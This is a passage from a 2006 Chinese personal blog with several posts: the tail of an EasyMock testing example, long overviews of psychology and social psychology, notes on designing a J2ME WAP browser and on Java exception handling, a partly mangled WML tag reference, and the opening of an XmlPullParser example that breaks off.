  3.         cstmt.setString(1"1");  

  4.         cstmt.registerOutParameter(2, java.sql.Types.VARCHAR);  

  5.         cstmt.executeUpdate();  

  6.         cstmtControl.setReturnValue(1);  

  7.         cstmt.getString(2);  

  8.         cstmtControl.setReturnValue("5,4,3");  

  9.         cstmt.close();  

  10.   





 如果你工作记录的代码要求有返回值的话,那么你必须提供一个自定义的值给它,否则会报错。比如上面的


  •  cstmt.getString(2);  

  •         cstmtControl.setReturnValue("5,4,3");   //自己定义的返回值,用作以后的比较。



  • 上面的是记录操作,回放的时候,easymock会把记录的操作跟你实际的代码进行比较,如果里面出了什么差错,那么不好意思你的代码有问题,请修正后再测试。



    如果有兴趣可以自己试下。

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(179) | 评论 (0)编辑 收藏

    心里学概述

    心理学是研究人和动物心理活动和行为表现的一门科学。心理学一词来源于希腊文,意思是关于灵魂的科学。


        灵魂在希腊文中也有气体或呼吸的意思,因为古代人们认为生命依赖于呼吸,呼吸停止,生命就完结了。随着科学的发展,心理学的对象由灵魂改为心灵。直到19世纪初叶,德国哲学家、教育学家赫尔巴特才首次提出心理学是一门科学。


        人在生活实践中与周围事物相互作用,必然有这样或那样的主观活动和行为表现 ,这就是人的心理活动,简称心理。具体地说,外界事物或体内的变化作用于人的机体或感官,经过神经系统和大脑的信息加工,就产生了对事物的感觉和知觉、记 忆和表象,进而进行分析和思考。另外人们在同客观事物打交道时,总会对它们产生某种态度,形成各种情绪。人 们还要通过行动去处理和变革周围的事物,这就表现为意志活动。


        以上所说的感觉、知觉、思维、情绪、意志等都是人的心理活动。心理活动是人们在生活实践中由客观事物引起、在头脑中产生的主观活动。任何心理活动都是一种不断变化的动态过程,可称为心理过程。


        人在认识和改造客观世界中,各自都具有不同于他人的特点,各人的心理过程都表现出或大或小的差异。这种差异既与各人的先天素质有关,也与他们的生活经验和学习有关,这就是所说的人格或个性。


        心理过程和人格都是心理学研究的重要对象。心理学还研究人的个体的和社会的、正常的和异常的行为表现。动物心理学研究动物的行为,这不仅是为了认识动物心 理活动本身,也有助于对人类心理活动的了解。在高度发展的人类社会中,人的心理获得了充分的发展,使他攀登上动物进化阶梯的顶峰。心理学是人类为了认识自 己而研究自己的一门基础科学。


    心理学发展简史


    战国末期唯物主义思想家、教育家—荀子    心理学作为一门科学只有很短的历史,但却有一个漫长的过去。心理学可以追溯到古代的哲学思想,哲学和宗教很早就讨论了身和心的关系以及人的认识是怎样产生的问题。古希腊哲学家如柏拉图、亚里士多德等,中国古代思想家荀子、王充等都有不少关于心灵的论述。


        在西方,从文艺复兴到19世纪中叶,人的心理特性一直是哲学家研究的对象,心理学是哲学的一部分。这段时期,英国的培根、霍布斯、洛克等人,以及18世纪末法国的百科全书派思想家都试图纠正中古时代被神学歪曲了的心理学思想,并给予符合科学的解释。


        培根的归纳科学方法论对整个近代自然科学的发展起了很大作用,霍布斯提出人的认识来源于外在世界,洛克最早提出联想的概念,这都推动了心理学的发展。法国 百科全书派的拉梅特里在《人是机器》一书中干脆把人说成是一架机器,这些虽然不免有机械唯物论的观点,但都有进步意义。


        19世纪中叶,由于生产力的进一步发展,自然科学取得了长足的进步,科学的威信在人们的头脑中逐步生根。这时,作为心理学孪生科学的生理学也接近成熟,心理学开始摆脱哲学的一般讨论而转向于具体问题的研究。这种时代背景为心理学成为一门独立的科学奠定了基础。德国心理学家冯特


        现代心理学是在1879年建立的。这一年,德国心理学家冯特在莱比锡建立了世界上第一个心理学实验室,心理学从此宣告脱离哲学而成为独立的科学。冯特是一 位哲学家兼生理学家,他的心理学实验室主要研究感知觉心理过程,所用的主要是生理学的实验技术,所以他称自己的这种研究为“生理心理学”,也称为“实验心 理学”。


        至今现代心理学已经经历了一百多年的历史。在这期间关于心理学研究对象的讨论有过几次大的反复。最初,冯特认为心理学是研究人的直接经验或意识的科学,复 杂的心理活动是由简单的单元构成的,心理学的任务就是把心理活动分解为一些心理元素。例如,对一本书的知觉是由长方的形状、一定的大小、绿色的书皮等感觉 成分相加而成的。


        这种看法无疑受到当时化学发展的影响。化学采取了分析的方法,化学元素才不断被发现。正因为如此,后人才把冯特的心理学体系称作元素心理学或构造心理学。 冯特晚年还开展了民族心理学的研究,这是现代社会心理学的先导。冯特在莱比锡招收了欧美各国大批进修生,他们学成归国后,分别建立心理学系和心理学实验 室,使这门新兴的科学得到迅速推广。


        冯特所创立的心理学只兴盛了三、四十年就遇到困难。问题出现在“心理学是研究意识的科学”这个定义上。因为要承认这个定义,首先就要求承认意识的存在,但是,这不是心理学界所有的人都能同意的。1913年美国心理学家华生首先向冯特的心理学提出挑战。


        华生指出,心理学如果要成为一门科学,能和自然科学其他学科处于平等地位,就必须来一场彻底的革命,就要放弃意识作为心理学的研究对象。华生说意识是主观的东西,谁也看不见、摸不到,更不能放到试管里去化验,这样虚渺的东西决不能成为科学的研究对象。


        他认为科学的心理学要建立在可以客观观察的事物上面。人和动物的行为是可以客观观察的,因而行为才是心理学研究的对象。心理学是研究行为的科学,它要探讨 一个使有机体发生了什么,在什么环境下产生了什么行为。至于头脑内部发生的过程,由于只能推测,不能肯定,所以不必给予理会。华生在心理学界掀起了一场影 响深远的行为主义运动。


    金丝猴的行为研究    20世纪40年代前后出现了新行为主义,强调在实验操作的基础上研究人和动物的行为。新行为主义者斯金纳最大胆的尝试是把行为主义原理用于改造社会。他写 过一本小说《沃尔登第二》,是以日记的形式描写一个乌托邦式的理想社会。斯金纳把这种社会设计称作“行为工程”,并把这样一个社会的实现寄托于中国。20 世纪60年代,美国卷入越南战争,社会危机四起,人们开始怀疑美国的社会制度,向往一个理想社会,于是这本书便不胫而走。


        行为主义在美国影响很大,从20年代到50年代。行为主义一直统治着美国心理学。现在看来,行为主义的理论太简单化和绝对化了,不能因为头脑的活动看不 见,就否认人的思维和意识的存在。同样,在物理学中,原子、分子、电子也不能被肉眼见到,但仍可以用仪器或其他工具进行研究。人的思维等心理活动同样可以 通过技术手段进行客观的研究。心理学毕竟要研究人的心理的内部过程。再者,人的社会活动极为复杂,不是简单的行为工程所能阐明的。


        在行为主义兴起的同时,在欧洲又出现了两大心理学派别,一个是格式塔学派,另一个是精神分析学派。


        格式塔心理学诞生于德国,它反对冯特的构造心理学的元素主义,其代表人物是韦特海默、科夫卡和克勒。格式塔是德语Gestalt的音译,意思是整体、完 形。这个学派主张心理学研究人脑的内部过程,认为人在观察外界事物的时候,所看到的东西并不完全决定于外界,而是在人的头脑中有某种“场”的力量把刺激组 织成一定的完形,从而决定人看到的外界东西是什么样的。当时,物理学中正流行着“场”的理论,格式塔学派则认为人的大脑是物质世界的一部分,所以物理规律 可以同样适用于人脑的活动。大猩猩的面部表情


        格式塔心理学对猿猴的智力进行了研究。克勒观察了猿猴如何把几只木箱叠起来,爬到木箱顶上拿到悬挂在屋顶上的香蕉。猿猴还能把棍棒连起来取得被栏杆挡住的食物。格式塔心理学家认为人和动物解决问题是靠突然发生的“顿悟”。


        格式塔学派反对冯特学派只强调分析的做法,而认为心理现象是一个整体,整体决定其内在的部分。这种强调整体和综合的观点对以后心理学的发展是有益的。科学研究不应只从分析的观点看问题,整体中的相互关系是更重要的一面。


        精神分析学派来源于精神病学。它给予心理学以巨大的冲击,以致在讨论心理学对象的时候不能不提到它。奥地利医生弗洛伊德利用催眠术和自由联想法让精神病患 者回忆往事,以找出致病的原因。他发现患者的幼年经验,特别是儿童与父母的情感关系非常重要。他还发现做梦往往反映出一个人的内在心理矛盾,所以分析病人 的梦也是一种治疗方法。


    奥地利精神病医生、精神分析创始人弗洛伊德    弗洛伊德认为,一方面人的内在生物性的情欲是最基本的冲动;另一方面人的社会习俗、礼教和道德又约束着这种原始冲动的发泄,将其压抑到无意识中去。意识的 内容是理智的、自觉的;无意识的内容多是与理智、道德相违背的。当理智与无意识的矛盾激化,就造成神经症。为了治病就需要对病人的无意识进行心理分析。这 就是精神分析。


        精神分析学派认为,心理学是研究“无意识”的作用。认为人的根本心理动机都是无意识的冲动。正是这种强有力的“无意识”的心理活动在人的生活中起着决定性 的根本作用。至于有意识的心理过程则只是显露在表面的一些孤立的片断。近年的新精神分析已不再那么强调生物冲动的作用,而更为重视人际间的社会关系。在西 方社会中精神病发病率很高,所以精神分析理论很容易被接受。


        在心理学的发展上,苏联心理学同以美国为代表的西方心理学是有区别的。谢切诺夫以大脑的反射为心理学的基本概念,稍后的别赫捷列夫写了《反射学》一书。接 着,巴甫洛夫专门研究了条件反射。他的条件反射学说促进了美国行为主义的兴起。 巴甫洛夫学说对苏联心理学产生了巨大的影响,成为其理论基础之一,也直接影响了新中国成立以后我国以及一些东欧国家的心理学。


        在中国,现代心理学开始于清代末年改革教育制度、创办新式学校的时候。在心理学大纲扉页当 时的师范学校里首先开设了心理学课程,用的教材多是从日本和西方翻译过来的。 1907年王国维从英文版重译丹麦霍夫丁所著《心理学概论》。1918年陈大齐著《心理学大纲》出版,这是中国最早以心理学命名的书籍。1917年北京大 学建立心理学实验室,1920年南京高等师范学校建立中国第一个心理学系。


        这时,构造心理学、行为主义心理学、格式塔心理学、精神分析等都被介绍到中国来,中国也开始有了自己的心理学研究。新中国成立后,1951年便成立了中国科学院心理研究所,在几所大学和各师范院校都设立了心理学专业和教研室。


    心理学的近况


        几十年来,心理科学获得了迅速的发展,这种发展的一个值得注意的特点是,心理学各派之间的争论已经不再激烈,而是趋向求同存异,各家的合理思想被保留下来,使它们之间的区别缩小了。这种在心理学对象、方法问题上争论的减弱,表明心理学逐渐走上成熟的道路。


    可用于心理诊断的罗夏墨渍图    当代心理学的另一个特点是它的跨学科和多学科性质。心理学和一些邻近学科的重叠,已使它们的某些部分难于区别。心理学已经发展成为一门分支众多、边界模糊的科学。


        心理学是兼有自然科学和社会科学两种属性的科学。


        一方面,它与生物科学结合,探讨心理活动的生理基础。它伸展到技术科学领域,与计算机科学相联系,促进了认知科学的发展。心理学还研究人类个体的发生发展,提供了关于人的认知能力和个性社会化的发展观。


        另一方面,心理学与社会科学结合,研究社会、政治、经济、文化的影响,以及人际交往中的社会心理现象。时至今日,心理学发展得更加宽广庞杂,这就要求从哲学的高度对它进行理论概括。理论心理学就是从宏观上探讨心理学的思想体系。


        由于心理学的研究范围相当广阔,不同复杂程度的心理活动可能需要不同的理论模式和研究手段,因而当代心理学是把人和动物的复杂心理活动分成不同的层次,在不同的水平上加以研究的。心理学问题概略地分为以下几个层次。


        生理心理学 是从生理学的水平研究各种心理现象的学科。在早期,巴甫洛夫用条件反射方法研究动物的学习活动,提出人的心理活动的高级神经活动学说。


        现代的生理心理学用神经生理学、生物物理学和生物化学的手段来研究感知、学习、记忆、思维、情绪等过程,目的是阐明各种心理活动的生理机制。由于生物医学技术的进步,这方面的研究取得了很大成绩。休伯尔和维厄瑟的感受野研究,斯佩里的割裂脑的研究最为著名。巴甫洛夫条件反射试验


        在记忆方面,人们相信既然经验可以在头脑中长久地保存下来,那么大脑的生理结构必定发生了某种物质变化,或遗留下某种痕迹。人们设想,核糖核酸就是要寻找 的记忆物质。研究还发现,能促进蛋白质合成的药物可以加速学习过程,抑制蛋白质合成的药物则阻止长时记忆的发展。这些关于记忆的脑化学研究增进了对心理过 程的了解。


        生理心理学主要用动物做实验,有时也结合医疗实践进行临床研究。它采用生物科学的通用研究方法,主要是在控制条件下实施手术或使用药物的实验法。从事这一 领域的研究者不只有心理学家,还有神经生理学家、生物物理和生物化学家等。生理心理学有时也被列为神经科学的一个分支。


        认知心理学 这是20世纪60年代新兴起的心理学方向。认知心理学是从反对行为主义发端的,同时继承了格式塔心理学的观点。认知心理学以研究高级心理活动,特别是记忆、思维和问题解决为主要目标。这一点正是格式塔心理学的主张。


        认知心理学是心理学以外的其他科学对心理学发生影响的典型例子。第二次世界大战期间迅速发展起来的通信技术,特别是信息论和控制论的出现,使心理学家看到 人类认识过程与通信系统有一定的相似性,于是借用通信工程师描述信息通道的概念来描述人的认识过程。人的认知过程被看成是信息通道的输入、编码、译码、存 储、提取、输出等处理信息的过程。


        认知心理学的主要理论是信息加工理论,所以又称为信息加工心理学。50~60年代,纽厄尔和西蒙把人类所具有的概念、观念、表征等脑的内部过程看作是物理 符号过程,这就是当代认知心理学中极为重要的物理符号系统假设。这一假设在人脑的思维活动和计算机的信息操作之间架起了一座桥梁,从而在信息加工心理学的 研究基础上,可以设计计算机程序来模拟人的心理过程,特别是思维、问题解决等高级心理活动。认知心理学和计算机科学相结合,产生了人工智能这一新学科。


        发展心理学 发展心理学是研究人从出生到老年不同时期的心理特点和规律的学科。人的身体和心理在时间进程中表现出量和质两方面的变化。人的发展在量的方面的变化是明显的。随着年龄的增长,儿童的身高体重会增加词汇量不断扩大,知识范围越加广阔,这些都是可以计量的。


        发展心理学是当代心理学比较活跃的一个分支。由于采用了新的研究方法和仪器设备,特别是录音和录像记录的使用,使得这个领域的研究获得了许多新的发现。大脑


        今天许多心理学家认识到,发展贯穿于人的一生之中,生命的每一阶段都受前一时期的影响,同时又影响到以后的发展。


        一个称作毕生发展心理学的新的研究方向正在形成,它从人的生命的全程发展着眼,研究从产前到死亡的全部心理和行为变化。由于许多国家的人口都趋向老年化,老年心理问题日益突出,因而这方面的研究受到重视。


        社会心理学  是研究个体和群体在社会相互作用中的社会心理和社会行为的发生和变化规律 的学科。社会心理学在两个水平上对人际关系进行分析,即个体和社会群体的水平。


        社会心理学研究人的心理发展的社会化过程,包括儿童的交往,言语的发展,伙伴、家庭、居住环境以及学校对人的影响,这些影响以什么规律起作用等;在成人个体的交往中,又有 那些社会心理规律起作用。


        社会心理学中的归因理论就是说明在人际交往中,人是如何为某种行为找出解释原因的。归因问题是当前社会心理学研究的中心课题之一。


        几十年以来心理学一直朝着科学化的方向发展,它以物理学、生物科学以致技术科学为榜样来建立自己的理论体系。这就不可避免地带来一定程度的还原论和机械决 定论的倾向。正在这个时期,西方文化中流行的人道主义社会思潮渗入心理学,出现了社会心理学中的人本主义心理学。


        人本主义心理学的代表人物马斯洛和罗杰斯等人反对心理学中的机械决定论,认为传统的走自然科学道路的心理学不足以解决更复杂的人类心理学问题,特别是涉及价值观和信仰的问题。


        社会心理学与社会学有非常密切的关系,它们所研究的是同一社会现象的不同方面。社会学从比较宏观、概括的水平上研究社会问题,社会心理学则是从比较具体 的、微观的水平上研究人际交往活动。由于人的社会生活的极端复杂性,虽然社会心理学的研究工作存在着许多困难,但是从人的心理的社会制约性出发,必定能总 结出人的社会心理学规律。


        理论心理学  是从哲学的高度探讨心理学的方法论的学科,包括讨论心理学的对象和方法,意识的起源和发展,身与心的关系,以及评述心理学的思想体系等。


    心理学的应用


        心理学与人类生活关系密切,它对人类生活起着越来越大的作用,其应用范围也在不断地扩大。心理学家能参加解决教育、医疗、工业、商业、军事及各种社会问题。下面列举的就是心理学在一些应用领域中所形成的分支学科:


        教育心理学  教育心理学是研究教育过程中的心理活动规律,揭示教育过程和心理发展的关系,把发展心理学的研究成果应用到教育实践中去。教育心理学的主要研究内容包括 :受教育者知识和技能的掌握,心理的个别差异,道德品质的形成,教育者应有的心理品质等。


        学科教育心理学研究语文、算术等课程的内容和教法,也属于教育心理学的范围。德育心理学研究儿童道德动机、道德判断的形成过程,探讨培养优秀道德品质、正确信念和理想的有效途径。教育心理学的研究直接关系到教育改革和人材培养的重大任务。


        医学心理学 是关于疾病和健康的心理学研究,探讨心理因素在维护健康和致病方面的作用,并研究在医疗中医护人员与病人的行为特点。医学心理学家在综合医院、专科医院,特别是在精神病医院中发挥作用,他们用心理测验诊断病人,找出心理障碍的原因。


        医学心理学还研究精神药物的作用,需探讨心理治疗的方法。病人的康复过程也是医学心理学的研究内容,目的是调动病人的心理因素,使他尽快恢复健康。医学心理学家也从事心理咨询和心理卫生工作,对促进人的身心健康提供指导与帮助。


       工业心理学 主要包括工程心理学和管理心理学。


        工程心理学研究现代工业中人与机器的关系,又称人机系统,这是在工程设计中使设备适应人体的活动特点,从而使工作效率达到最高。工厂的温度、照明和工作条 件,航空工业中飞机座舱的仪表显示,车船驾驶系统的合理性都是工程心理学研究的课题。它还研究工业劳动中,职工心理活动的特点和规律。


        管理心理学研究职工的选拔训练、评价、使用等人事组织问题,还研究工作动机、鼓励手段、意见沟通、组织结构、领导行为等心理学问题。这些研究的目的是调动人的积极性,充分发挥人的潜在能力,形成和谐的工作气氛和提高工作效率。


        商业心理学 研究商业活动中人的心理活动及其规律,运用心理学知识和方法解决商品流通过程中有关的行为问题。它包括市场心理学、消费者心理学和广告心理学。


        市场心理学研究市场供求关系中心理因素的作用,消费者心理学研究商品生产、商品流通,以及服务行业中消费者的心理规律,包括购买动机的分析、购买行为的特 点等。广告心理学研究商标、包装、广告的设计,其心理效果的评价等。商业心理学的研究在以市场经济为主的国家里很受重视,成为商业竞争的重要手段。中国这 方面的工作尚待开展。


        法律心理学 研究人们在司法活动中的心理活动及其规律。法律心理学根据不同的方面,又可分为犯罪心理学、侦察心理学、审判心理学等。


        犯罪心理学研究犯罪的动机及对罪犯的教育改造等问题;侦察心理学研究在侦破案件过程中所应依循的心理规律;审判心理学的一项重要内容是分析犯人供词及证人 证词的可靠程度 ;法律心理学的另一重要分支是司法鉴定心理学,这是运用临床精神病学专业知识,对被怀疑有精神障碍的被告或其他诉讼当事人进行心理鉴定,为确定其法律责任 提供科学依据。


       军事心理学 研究人在军事活动条件下的心理学问题。这些问题包括军事人员的选拔和分类;掌握军事技术和武器的学习过程;军事活动所要求的个性心理特征;心理战术,宣传 与反宣传等。军事心理学把军事组织看成是一个小的社会整体,研究其中的社会过程,如指挥员和士兵的关系,战争条件下群体内部情绪的相互影响,军队士气的作 用等。


        根据兵种的特点,军事心理学又可分为航天与航空心理学和航海心理学。航空与航天心理学除研究一般军事活动的心理规律外,还研究宇航员的意志和品德的培训, 在失重、超重条件下的心理变化及适应能力等 ;航海心理学则要研究在长期离开陆地情况下的心理变化,海上战斗和舰艇操纵中的特有心理学问题。世界各国的军事心理学研究都属于保密的范围,只有在失去军 事价值的时候,才能够公开发表。


        现在,心理学的发展已经有一百多年的历史,它不仅是一门理论性强的基础科学,而且已经发展成为一门应用范围广泛的应用科学。它与许多实践部门有着广泛的横向联系,并且广泛地为社会实践服务

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(126) | 评论 (0)编辑 收藏

    社会心里学

    社会心理学是研究个体和群体的社会心理现象的心理学分支。个体社会心理现象指受他人和群体制约的个人的思想、感情和行为,如人际知觉、人际吸引、社会促进 和社会抑制、顺从等。群体社会心理现象指群体本身特有的心理特征,如群体凝聚力、社会心理气氛、群体决策等。

        社会心理学是心理学和社会学之间的一门边缘学科,受到来自两个学科的影响。在社会心理学内部一开始就存在着两种理论观点不同的研究方向,即所谓社会学方向 的社会心理学和心理学方向的社会心理学。在解释社会心理现象上的不同理论观点,并不妨碍社会心理学作为一门独立学科应具备的基本特点。


        一般来说,普通心理学研究主体与客体之间的一般关系 ,客体包括自然客体与社会客体。社会心理学则主要研究主体与社会客体之间的特殊关系,即人与人、人与群体之间的关系;普通心理学的规律可以应用于社会心理 学,社会心理学研究主体与社会客体之间的关系所获的规律 ,也可以丰富普通心理学;普通心理学传统上着重于研究个体、个人与物之间的关系,而社会心理学则着重于研究群体中的个体、群体、人与人、人与群体的关系。


        社会心理学与个性心理学的关系更加密切、更加复杂。美国心理学会迄今仍把个性与社会心理学放在一个分支里。一般说来个性心理学是研究个性特质形成和发展的 规律,涉及自然和教化的关系、涉及较稳定的心理特质,而社会心理学则主要研究直接社会情境对个人的影响以及个人对这个情境的解释的作用。社会心理学的一个 重要发现表明,直接社会情境的作用往往被低估了。


        社会心理学的专题研究,开始于19世纪下半期。1860年出现了拉察鲁斯和斯坦塔尔关于民族心理学的系列论文 ;此后,塔尔德的《模仿律》西格尔的《犯罪的群众》、勒邦的《群众心理学》等著作陆续出版,为社会心理学的形成奠定了基础;1908年,英国心理学家麦独 孤和美国社会学家罗斯分别出版了社会心理学专著 ,这标志着社会心理学已成为一门独立的学科。


        第一次世界大战以后,美国心理学家奥尔波特和德国心理学家默德开创了实验社会心理学方向。虽然用实验方法研究社会心理学问题,可以上溯到1898年特里普 利特关于社会促进的实验研究,但真正开创、推广这个方向的是奥尔波特和默德。在他们之后,实验社会心理学才开始在西方特别是在美国成了社会心理学研究的主 流。


        奥尔波特的著作《社会心理学》问世以后,社会心理学进入一个快速发展时期。1928年 ,瑟斯顿提出了态度测量法,把由托马斯和兹纳涅茨基开始,并成为当时社会心理学研究中心的态度研究,提高了一步;1934年,莫雷诺提出了社会测量法,用 以测量群体内人际吸引和排斥问题 ;1938年,勒温把场论引进社会心理学,提出了个人生活空间或场的概念,认为行为是个人特点和情境因素相互作用的函数。20世纪40~50年代,在第二 次世界大战和勒温的影响下,社会心理学主要研究群体影响和态度问题。


        50年代,阿施等人开展顺从的研究。以霍夫兰为首的耶鲁学派发表了一系列有关说服的研究。费斯廷格提出了认知失调理论,这个理论成为60年代的研究中心。 到了70年代,由海德的《人际关系心理学》一书奠定了基础的归因理论成了研究重点。80年代以来,认知社会心理学和应用社会心理学日益受到重视。


        社会心理学研究的主要课题随着时代的演变而有所不同。早期的社会心理学侧重于研究大型群体和群众的心理现象,如拉察鲁斯、斯坦塔尔、冯特关于民族心理学的 研究;塔尔德、西格尔和勒邦关于群众心理的研究。这些研究者所提出的某些思想直至今天还有影响,如塔尔德的模仿律、勒邦的群体极端化和个性消失的思想等。


        20世纪初,态度的研究成为中心。实验社会心理学出现以后,社会促进的研究成为中心。以后,群体过程、说服、顺从、认知失调、归因等分别成为某一时期的研究中心。


        美国是研究社会心理学最多且最有影响的国家,它的研究课题具有一定的代表性,往往影响到其他国家。


        随着社会心理学的日益发展,研究课题也日益丰富和扩大。从早期的社会促进研究 ,发展到社会惰化的研究;从顺从的研究,发展到反顺从和独立性的研究;从侵犯的研究,发展到利他精神的研究;从吸引的研究,发展到爱情的研究;从人际知觉 的研究 ,发展到归因的研究等等。显示了社会心理学的研究视野正日益广阔和深入。


        自 二十世纪60年代中期以来,社会心理学家的观点有所改变。主要表现在:认识到实验方法的局限性,重视现场研究,重视应用研究,重视以现场应用研究去检验实验室研究所得的理论,加以修正、补充和发展。


        今天的社会心理学家强调从现场研究到实验室研究,或从实验室研究到现场研究,往复循环、相互论证。同时,计算机的广泛使用,也为处理从现场获得的大量材料提供了方便,推动了社会心理学的进步。

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(115) | 评论 (0)编辑 收藏

    设计一个J2me Wap浏览器幻想

           昨天完成了一个小程序,所以今天有比较空闲了,前阵子自己设计了j2me的UI,所以对在一手机画布上绘制UI也算是比较有心得的。所以今天突发奇想,不如自己定制一个wap浏览器来玩下。

           自己以前也做过wap网站,所以也知道它的大概个标签,想来通过xml包解释这些标签不难,现在把我的个人想法发到这里来,希望各位爱好者提供建议。

           1:设计一个可组装的UI以提供对xml解释后的支持。(基本上是采用以前的UI设计方式)。

           2: 采用网站流行的xml解释包,对wml进行解释,主要构思是采用一个2维表进行数据结构的保存。

           3:session机制,这方面是个难度,记得以前设计wap的时,在测试的时候发现有些手机并不支持session。个人想法是在手机上保存一个sessionId,然后发送这个Id,并时刻保持这个Id与服务器的一致。

           4:解释机制,是否是一边解释一边显示,还是全部下载完,解释完在显示,在技术上的难度来讲,第一个无疑是比较困难的,但是第二个在用户体验方面存在比较大的缺陷。

           5:缓存机制,主要难点是记录用户的操作,以及判断服务器内容是否改变,从而决定是否重新下载,还是直接从缓存中获取。



         以上几点我只对第一点有把握,第2个估计看下文档就ok了,其他方面我还没有比较多的认识

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(87) | 评论 (0)编辑 收藏

    关于异常的处理以及相关设计

          最近设计程序的时候,老抛出NullPointerException,ArrayOutOfIndexException异常,发现这些异常的抛出对程序的稳定性是有好处的。它可以防止程序崩溃。

         不过相信开发过程序的人应该对这些异常操作是很厌烦,有什么办法可以避免这些操作呢?

         什么时候抛出异常,什么应该在程序里抓住异常?

         比如你对一个对象的操作

        

    java 代码


     


    1.    

    2. if(object == null)  

    3.      threws new NullPointerExcction("对象不应该为空");  

    4.   

    5.   

    6.   

    7. if(object == null)  

    8.      return;  



    这两种方式在设计的时候经常使用,有些程序容许你对象为空的时候可以进行下一步操作,有些程序则强制要求上一步的环境一定要建立,比如对象步能为空,资源一定要存在等。



    欢迎各位高手谈谈异常体系上设计的心得,

    异常设计的好可以减少很多if,witch等语句。



    那个用户登陆的例子来说吧。

    记得以前写过程式编程的时的代码如下:

    java 代码


     


    1. int isNotExist = 1;  

    2. int succes = 0;  

    3. int passwordError= 2;  

    4. int ,......  

    5.   

    6.   

    7. int login(){  

    8. ...................  

    9. ................  

    10. return i;  

    11. }  





    采用异常处理时候

    java 代码


     


    1. class UserNotFindExecption{  

    2. .........  

    3. }  

    4.   

    5. void login() throw Exception{  

    6. .........  

    7. throws new UserNotFindExecption()  

    8. }  





    这两种设计方式就很考究你对异常的理解。

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(98) | 评论 (0)编辑 收藏

    Wap Explorer 图片预览

            前几天说要设计一个Wap浏览器的,经过上个礼拜天的设计,基本已经把UI的框架搭建出来了。不过对于wap的Wml解释器还没写,一来这方面比较难写,没有实践过,二来这几天公司有事情忙。所以就停了下来,不过趁着今天下午有空,我发些设计好的截图给大家看。

             在UI里我实现了对字体的控制已经对皮肤(所谓的皮肤只是换换颜色而已)的控制

    艾可惜只能发3个附件。

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(130) | 评论 (0)编辑 收藏

    Wap Explorer 初步设计源代码

            刚才在我的Q群里面讨论了下关于Wap Explorer的开发。里面的朋友建议我把开发的过程写到blog,以方便学习与讨论。现在我把我写好的代码公布出来。并说明我的设计结构。(在此说明下,对于里面的UI设计我前面写过很多文章)

           一个UI包--包括了所有的界面实现接口等,Wap的显示也主要是通过这个包里面的东西划出来的。

                                  里面有两个核心的东西,Part--控件接口, Panel--Form接口。

                                  比如超链接,TextFiel,SoftButton等都是Part, 弹出窗口,FormPanel都是Panel。

           一个Wap引擎。这部分未实现,等大家参考。我参考过jxml等开源的东西,觉得基本上可以实现自己的功能,不过我还是想和大家写一个,一来可以相互学习提高。二来也可以多了解下关于xml(这方面我很菜)。



          一个网络连接引擎--主要是下载数据用的。

          一个RMS包。主要是用来保存用户数据的。

         

          对了。在源代码里之看wuhua包下面的就行了,其他的都是一些网站找来的代码

             

          这里还有个问题是,怎么样可以使Wap引擎跟UI跟网络连接引擎很好的结合呢。

         提出一些参考:

         1,一边下载,一边解释,一边显示(这是最完美的方案,比如firefox就是这样)这样对操作有大量图片资源的时候有很好的体验。我们可以先显示出文字,然后在一边下载图片。

         2,全部下载完在解释,显示(相对与上面的方案来说)这是比较容易的。但是显示会很慢。给用户造成很不好的体验。



         还有很多的其他要求。。。。。。。。

       

    posted @ 2006-12-30 09:06 路是爬出来的 阅读(126) | 评论 (0)编辑 收藏

    WML 标签跟WML学习

    上网找了这些标签,方便设计。哈和哈

    一保存就变样了。还是给个连接吧

    www.cnblogs.com/kangtr/archive/2005/12/02/289546.html

































    结构相关标签 语法及属性
    <wml>



       content



    <card>



    title="label"

    newcontext="boolean"

    style="style"

    onenterforward="url"

    onenterbackward="url"

    ontimer="url" >

    content



    <template>



    <head>



    content



    <access>



    path="path" />

    <meta>

    |http-equiv="name"

    content="value"

    forua="true | false" />

























































    任务相关标签 语法及属性
    <timer>



    value="value" />

    <setvar>



    value="value" />

    <anchor>



    <a>



    task

    text



    <do>



    label="label"

    name="name"

    optional="boolean" >

    task



    <onevent>



    task



    <go>



    sendreferer="boolean"

    method="method"

    accept-charset="charset"

    content



    <prev>




    content




    <noop>



    <refresh>



    content



































    控件相关标签 语法及属性
    <input>



    title="label"

    type="type"

    value="value"

    default="default"

    format="specifier"

    emptyok="boolean"

    size="n"

    maxlength="n"

    tabindex="n" />

    <select>



    <option>



    value="value"

    onpick="url" >

    content



    <optgroup>



    content



    <fieldset>



    content























    输出效果标签 语法及属性
    <img>

    <code><b><i>text</i></b></code>

    src="url"

    localsrc="icon"

    align="alignment"

    height="n"

    width="n"

    vspace="n"

    hspace="n" />

    <table>



    title="label"

    columns="n"/>




























































    <td>

      content
    <tr>

     
    content
    <b>



    text



    <big>



    text



    <br>





    <em>



    text



    <i>



    text



    <p>




    mode="wrapmode" />


    <small>



    text



    <strong>



    text



    <u>



    text















































    特殊字符  
    <


    < (less than)


    >


    > (greater than)


    '


    ' (apostrophe)


    "


    " (quote)


    &


    & (ampersand)


    $$


    $ (dollar sign)


     


    non-breaking space


    ­


    soft hyphen



















    posted @ 2006-12-30 09:06 路是爬出来的 阅读(419) | 评论 (0)编辑 收藏

    XmlPullParser 的例子

         这几天一直在思考怎么样设计Wap的引擎。因为在j2me有限的资源上去解释xml是比较慢的,所以j2se上的xml类库是不适合用在j2me上,后来在网上查找了下发现了XmlPullParser ,而且用起来速度快,而且包也很小。现在把这两天学到的知识记录下来。



         我的需求是解释一个标准的wml。比如:

       

    java 代码


     


    1. <?xml version="1.0"?>  

    2. <!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"


    3. "http://www.wapforum.org/DTD/wml_1.1.xml">  

    4. <wml>  

    5. <card id="index" title="天速">  

    6. <p align="center">天速科技</p>  

    7. <p align="center"><a href="/t/main.a"> 动漫天下 </a></p>  

    8. <p align="center"><a href="/t/main.a"> 国色天香 </a></p>  

    9. <p align="center"><a href="/eb/main.a">  风月书斋 </a></p>  

    10.   

    11. </card> </wml>  



    上面是个简单的wml源文件。不过现在的wap网站差不都这样,基本上没有script,跟html上的各个控件。所以能解释上面的文档,基本上都是可以满足我的需求的。



     现在我们来看下我们解释wml的java文件
    java 代码


     


    1. /******************************************************************** 

